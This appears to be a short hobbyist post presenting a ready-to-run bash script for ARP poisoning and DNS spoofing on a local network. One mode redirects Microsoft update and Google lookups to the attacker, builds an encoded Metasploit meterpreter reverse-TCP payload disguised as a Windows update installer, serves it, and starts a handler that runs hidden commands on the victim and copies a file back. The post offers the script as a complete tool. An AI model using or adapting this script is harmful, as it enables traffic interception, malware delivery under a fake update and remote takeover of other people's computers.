arp/dns-spoofing fun

Similar to the fake-ap script, it is much more easy to root all dns-resolve attempts to your local machine, if you already inside the network. Via arp poisoning, you can control the whole traffic in your local area network. The following bash-script can do the whole work.




#!/bin/bash #Copyright 2010, deep_freeze <deep_freeze@mail.ru> echo echo "enter target interface: (e.g. eth0/wlan0/etc)" read interface echo echo "enter target ip: " read target if [ -z "$interface" -o -z "$target" ]; then exit fi gateway=`route -n | awk '/^0.0.0.0/ {getline; print $2}'` ip=`ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}'` while true do clear echo "##############################################" echo "spoof = 1" echo "metasploit-spoofing = 2" echo "stop spoofing = 3" echo "new target = 4" echo "quit = 5" echo "##############################################" read mode case "$mode" in 1) xterm -geometry 100x15+1+0 -T "arpspoof" -bg black -fg green -e arpspoof -i $interface -t $target $gateway& echo "$ip *.* *" > /tmp/dns-spoof xterm -geometry 100x15+0+230 -T "dnsspoof" -bg black -fg green -e dnsspoof -i $interface -f /tmp/dns-spoof& iptables -t nat -A PREROUTING -i $interface -j REDIRECT ;; 2) echo 1 > /proc/sys/net/ipv4/ip_forward echo "$ip update.microsoft.com *" > /tmp/dns-spoof echo "$ip *.google.* *" >> /tmp/dns-spoof if test -e /tmp/client.lock; then rm -r /tmp/client.lock; fi echo "[+] creating backdoor" echo msfpayload windows/meterpreter/reverse_tcp lhost=$ip R | msfencode -e x86/shikata_ga_nai -t exe -c 10 > /var/www/Windows-KB982381-x86-ENU.exe echo "[+] starting apache" echo /etc/init.d/apache2 start 2>/dev/null xterm -geometry 100x15+0+480 -T "metasploit" -bg black -fg green -e msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=$ip AutoRunScript=/tmp/meterpreter_pwn.rb E& xterm -geometry 100x10+1+0 -T "arpspoof #1" -bg black -fg green -e arpspoof -i $interface -t $target $gateway& xterm -geometry 100x10+1+160 -T "arpspoof #2" -bg black -fg green -e arpspoof -i $interface -t $gateway $target& xterm -geometry 100x10+0+320 -T "dnsspoof" -bg black -fg green -e dnsspoof -i $interface -f /tmp/dns-spoof& cat > /tmp/meterpreter_pwn.rb << EOF #! /usr/bin/env ruby session = client host,port = session.tunnel_peer.split(':') print_status("New session found on #{host}:#{port}...") print_status("Online check...") session.sys.process.execute("cmd.exe /C ipconfig | find \"IP\" > \"%SystemDrive%\\ipconf.log", nil, {'Hidden' => true}) sleep(1) session.fs.file.download_file("/tmp/client.lock", "%SystemDrive%\\ipconf.log") sleep(1) EOF echo "[+] waiting for client" while [ ! -e /tmp/client.lock ]; do sleep 5 done killall dnsspoof arpspoof ;; 3) killall xterm iptables -t nat -D PREROUTING 1 ;; 4) target="" while [ -z "$target" ] do echo "enter new target: " read target done ;; 5) killall xterm 2>/dev/null exit 0 ;; esac done